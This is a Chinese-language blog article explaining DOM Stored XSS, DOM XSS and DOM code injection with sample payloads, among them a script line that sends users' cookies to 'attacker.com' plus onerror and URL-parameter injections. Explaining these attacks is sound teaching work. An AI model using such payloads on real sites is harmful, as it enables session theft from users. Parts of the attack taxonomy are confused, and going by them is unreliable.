網路攻擊面面觀:客戶端DOM Stored XSS與DOM Code Injection的區別及防範

Turned-on Computer Monitor Displaying Text

資訊安全是網路世界中一個不可忽視的重要面向。這篇文章將介紹三種常見的客戶端攻擊技術:Client DOM Stored XSS、Client DOM XSS 以及Client DOM Code Injection,我們將了解這些攻擊方式的差異,並透過實際的範例讓你更加明白。

首先,讓我們先解釋一下這些術語的含義。

  1. XSS (Cross-Site Scripting) 是一種常見的網路攻擊手法,攻擊者通常會在網頁上嵌入惡意的腳本,當使用者瀏覽該頁面時,這些腳本就會在使用者的瀏覽器上執行。
  2. DOM (Document Object Model):DOM 是一種程式介面,用於HTML和XML文件。它提供了對文件的結構化表示,並使程序能夠改變文件的結構、風格和內容。DOM 將文件解析為一個由節點和對象組成的結構集合,使程式語言可以互動並操控頁面內容。
  3. Stored XSS:這種攻擊的本質是,攻擊者將惡意的腳本程式存儲在網站的數據庫或其他持久化存儲中。當其他用戶瀏覽該頁面時,這段惡意程式就會被執行,影響用戶的瀏覽器行為。

Client DOM Stored XSS

Client DOM Stored XSS 是指惡意指令碼被存儲在客戶端(使用者的瀏覽器)中,並在特定條件下被執行。這種攻擊通常發生在使用者輸入被儲存在伺服器端並在後續頁面加載過程中插入到頁面的 DOM 結構中。當頁面加載並執行惡意指令碼時,攻擊者可以利用它來竊取使用者的敏感資訊、修改頁面內容或執行其他惡意操作。

情境和案例:

假設一個電子商務網站允許用戶在購物車中留下評論。攻擊者可能會在評論中插入一段惡意腳本,例如:<script>sendUserCookiesTo('https://attacker.com');</script>。這段腳本的功能是將用戶的 cookies 信息發送到攻擊者指定的網址。

當該評論被保存並顯示在其他用戶的購物車頁面時,惡意腳本就會被執行,將用戶的 cookies 信息送至攻擊者的網站,導致用戶的個人資料被洩露。

Client DOM Code Injection

Client DOM Code Injection則是指攻擊者直接注入並執行惡意程式,而不需要儲存這些代碼到服務端。這意味著攻擊者可以在單次交互中完成注入。例如,攻擊者可能會透過修改URL參數,將惡意腳本直接嵌入到用戶端的網頁中。

以下是一些例子:

  1. 搜索框注入:假設一個網站有一個搜索框,用戶輸入的搜索詞將被直接插入到搜索結果頁面的DOM中。攻擊者可以在搜索框中輸入腳本代碼,例如<script>stealUserInfo();</script>。如果網站未對用戶輸入進行適當的處理,則該腳本將在其他用戶訪問搜索結果頁面時被執行。

  2. 個人資料修改:假設一個網站允許用戶修改他們的個人資料,如帳號,電子郵件地址等。攻擊者可以將腳本代碼注入到他們的帳號或其他字段中,例如<img src=x onerror=alert('XSS');>。當其他用戶查看攻擊者的個人資料時,該腳本將被執行。

Client DOM XSS

與 Stored XSS 不同的地方在於,此類攻擊中的惡意腳本並不會存入網站的資料庫中,而是直接嵌入到 URL 中。例如,攻擊者可能會製造一個帶有惡意腳本的 URL,並誘使其他使用者點擊。當使用者點擊該 URL 時,該腳本就會在他們的瀏覽器中執行。

以下是一些範例:

  1. URL參數中的XSS:一個常見的攻擊方式是通過URL的參數來注入惡意腳本。例如,一個網站可能會使用URL中的參數來顯示歡迎信息,如http://example.com/welcome?name=John。攻擊者可以修改URL,將名字參數改為一段惡意腳本,如http://example.com/welcome?name=<script>stealCookies()</script>。如果網站直接將URL中的參數插入到DOM中,而沒有進行適當的過濾和驗證,那麼該惡意腳本將在其他用戶打開這個URL時被執行。

  2. 表單欄位中的XSS:例如,網站可能有一個留言區,允許用戶輸入留言並顯示在頁面上。攻擊者可以在留言欄位中輸入一段惡意腳本,如<script>stealUserInfo()</script>。當其他用戶瀏覽包含這段留言的頁面時,如果網站未對用戶輸入進行適當的過濾和驗證,則該惡意腳本將在他們的瀏覽器中被執行。

上述三種攻擊方式都屬於Client-side的攻擊,並且都通過惡意的腳本程式影響到了網頁。然而,他們在執行方式和存在的位置上有所不同:

  1. Client DOM Stored XSS:在這種攻擊中,惡意腳本被存儲在服務器上(例如,在數據庫或文件中),並在用戶訪問特定頁面時進行載入和執行。這種攻擊通常需要用戶與具有惡意腳本的頁面進行交互(例如,點擊一個含有惡意腳本的鏈接)。

  2. Client DOM Code Injection:這種攻擊是通過在用戶輸入的數據中注入惡意腳本,並將這些數據載入到網頁的DOM中,從而使惡意腳本被執行。這種攻擊可能不需要將惡意腳本存儲在服務器上,並且攻擊可以立即生效,而無需等待用戶與惡意腳本進行交互。

  3. Client DOM XSS:這種攻擊是一種更廣泛的類別,包括上述的Stored XSS和Code Injection。在這種攻擊中,惡意腳本通過各種方式(如用戶輸入、URL參數等)注入到網頁的DOM中,並在用戶的瀏覽器中執行。

總的來說,這三種攻擊都涉及到在用戶的瀏覽器中執行惡意腳本,但他們在惡意腳本的來源和注入方式上有所不同。對於網站開發者來說,理解這些攻擊的工作原理和差異,將有助於選擇更有效的防禦策略。

以下是一些參考資源跟大家分享

  1. OWASP – DOM Based XSS:這是一個詳細解釋DOM Based XSS的參考網站,包含了什麼是DOM XSS,其攻擊過程以及如何防禦。

  2. OWASP – Cross-site Scripting (XSS):這個鏈接解釋了跨站腳本攻擊(XSS)的基本概念,包括Stored XSS和DOM XSS。

  3. OWASP – Code Injection:這個頁面解釋了什麼是Code Injection,包括其威脅、攻擊過程以及如何防禦。

  4. OWASP – Content Security Policy (CSP):這個連結解釋了什麼是內容安全政策(CSP)以及如何使用它來防止XSS攻擊。

發佈留言